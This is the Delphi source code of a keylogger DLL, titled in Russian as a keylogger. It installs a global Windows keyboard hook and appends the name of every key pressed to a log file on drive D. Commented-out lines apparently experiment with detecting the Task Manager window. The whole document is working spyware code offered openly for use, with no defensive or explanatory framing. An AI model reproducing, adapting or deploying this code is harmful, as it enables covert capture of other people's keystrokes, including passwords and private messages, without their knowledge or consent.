Делфи кейлоггер

library hook;
Uses Windows, Messages, Sysutils;
 
var
  myHook: HHook = 0;
 
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
    f: text;
    key: array [0..16] of Char;
begin
  if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
  begin
  Assign(f,'D:\log.txt');
  if FileExists('D:\log.txt') then
  Append(f) else Rewrite(f);
 
  GetKeyNameText(lParam,key,SizeOf(key));
 
  Writeln(f,key);
  CloseFile(f);
  //Wnd:=wParam;
  //getWindowText(Wnd,str2,255);
  //str:=str2;
  //if str<>'' then MessageBox(0,PChar(str),'',mb_TaskModal);
  //end;
  //if str='Диспетчер задач Windows' then result:=0 else
  result:=CallNextHookEx(myHook,Code,wParam,lParam);
  //result:=0;
  end;
end;
 
procedure setHook(Hook: boolean) export; stdcall;
begin
  if Hook then
  begin
    if myHook=0 then
    myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
  end
  else
  begin
    if myHook<>0 then
    UnHookWindowsHookEx(myHook);
    myHook:=0;
  end;
end;
 
exports setHook name 'SetHook';
 
begin
end.